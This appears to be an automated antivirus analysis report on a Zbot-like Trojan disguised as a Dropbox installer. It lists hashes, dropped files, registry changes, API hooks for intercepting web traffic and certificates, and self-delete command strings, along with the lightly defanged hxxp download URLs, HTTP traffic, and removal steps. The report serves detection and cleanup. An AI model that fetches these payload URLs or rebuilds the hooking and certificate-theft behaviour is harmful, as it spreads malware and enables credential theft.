MD5: 3a9233deaa1ede7204b2ed351c641e55
SHA1: 8fe1474d1bec6598d796a44049c35d9e94c72e6c
SHA256: d44b9e8b070093fc995ba9896945cf3216218f8b328c8c6a277d8537f642755f
SSDeep: 6144:IDpoeB1RATtlWqJlJQ0t7sYDR3MVED8pH:E1RATr1li09sY5M64pH
Size: 203382 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2014-05-11 23:03:36
Analyzed on: WindowsXPESX SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

ufopy.exe:3404
ufopy.exe:1196
%original file name%.exe:3772
%original file name%.exe:3088

The Trojan injects its code into the following process(es):

Explorer.EXE:1948

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process ufopy.exe:1196 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\jabbing\decare.d (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsoB6.tmp (6198 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nswB7.tmp\decare.dll (1856 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nswB7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nswB7.tmp\decare.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsiB5.tmp (0 bytes)

The process %original file name%.exe:3772 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\jabbing\decare.d (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsoB4.tmp\decare.dll (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqB3.tmp (6179 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsoB4.tmp\decare.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsoB4.tmp (0 bytes)

The process %original file name%.exe:3088 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Awivry\ufopy.exe (203 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmpc6df5839.bat (177 bytes)

Registry activity

The process ufopy.exe:3404 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "48 49 CD 39 03 31 F3 2E 52 1B 2F F9 E0 53 E1 D3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process ufopy.exe:1196 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "23 76 D6 46 8F 49 82 71 26 C9 89 88 61 E6 D2 E6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{773a730e-74fb-11e2-b597-000c293bdf2f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{fdd9f6f3-7454-11e2-b4cd-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{fdd9f6f5-7454-11e2-b4cd-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{fdd9f6f2-7454-11e2-b4cd-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:3088 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "38 CC B9 C4 A0 4E 33 3B 90 33 69 8B 49 19 9B 2E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExW
HttpSendRequestExA
InternetReadFileExA
HttpSendRequestA
HttpSendRequestW
InternetQueryDataAvailable
InternetCloseHandle
HttpQueryInfoA
InternetReadFile

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

Company Name: Dropbox, Inc.
Product Name: Dropbox
Product Version: .0
Legal Copyright: (c) Dropbox, Inc.
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.8.3.0
File Description: Dropbox 2.8.3 Installer
Comments:
Language: Language Neutral

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://195.64.164.131/images/afri.bin
hxxp://www.africartisanat.com/images/afri.bin

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Possible Zbot Activity Common Download Struct
ET CURRENT_EVENTS Zbot Generic URI/Header Struct .bin

Traffic

GET /images/afri.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)

Host: VVV.africartisanat.com

Cache-Control: no-cache

HTTP/1.1 503 Service Temporarily Unavailable

Date: Fri, 19 Dec 2014 18:30:35 GMT

Server: Apache

Vary: Accept-Encoding

Content-Length: 323

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>503 Service Temporarily Unavailable</title
>.</head><body>.<h1>Service Temporarily Unavailab
le</h1>.<p>The server is temporarily unable to service you
r.request due to maintenance downtime or capacity.problems. Please try
 again later.</p>.</body></html>...

GET /images/afri.bin HTTP/1.1

Accept: */*

Connection: Close

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)

Host: VVV.africartisanat.com

Cache-Control: no-cache

HTTP/1.1 503 Service Temporarily Unavailable

Date: Fri, 19 Dec 2014 18:30:35 GMT

Server: Apache

Vary: Accept-Encoding

Content-Length: 323

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>503 Service Temporarily Unavailable</title
>.</head><body>.<h1>Service Temporarily Unavailab
le</h1>.<p>The server is temporarily unable to service you
r.request due to maintenance downtime or capacity.problems. Please try
 again later.</p>.</body></html>...

The Trojan connects to the servers at the folowing location(s):

.text

`.data

.reloc

hXXp://VVV.google.com/webhp

PR_OpenTCPSocket

k.cim

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

: ;2*8.>

3.#70!2)

x#m`a`cmddt-

6 !26!1'1

7"52),,>

;<)?$*%,

71.(5;4=

(203,2$0

/?./,5 <

:>(<<44=3%

8%/<8/?)?/

%/><!8?>!

HTTP/1.1

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

hXXp://

hXXps://

HTTP/1.

SSSh,4

GetProcessHeap

KERNEL32.dll

SetKeyboardState

ExitWindowsEx

MsgWaitForMultipleObjects

MapVirtualKeyW

GetKeyboardState

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

InternetCrackUrlA

HttpOpenRequestA

HttpAddRequestHeadersA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

WININET.dll

OLEAUT32.dll

NETAPI32.dll

6 6&6/656{6

cGlobal\XXX

nspr4.dll

nss3.dll

SysShadow

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

%Documents and Settings%\%current user%\Application Data\Agzui\xoag.ywn

%Documents and Settings%\%current user%\Application Data\Agzui

xoag.ywn

Global\{632C47B2-723D-1422-8350-35ECEA6ED5DB}

%Documents and Settings%\%current user%\Application Data

{F557F597-C018-8259-8350-35ECEA6ED5DB}

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   ufopy.exe:3404
   ufopy.exe:1196
   %original file name%.exe:3772
   %original file name%.exe:3088
   

3. Delete the original Trojan file.
   
4. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\jabbing\decare.d (5064 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsoB6.tmp (6198 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nswB7.tmp\decare.dll (1856 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsoB4.tmp\decare.dll (1856 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsqB3.tmp (6179 bytes)
   %Documents and Settings%\%current user%\Application Data\Awivry\ufopy.exe (203 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\tmpc6df5839.bat (177 bytes)

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.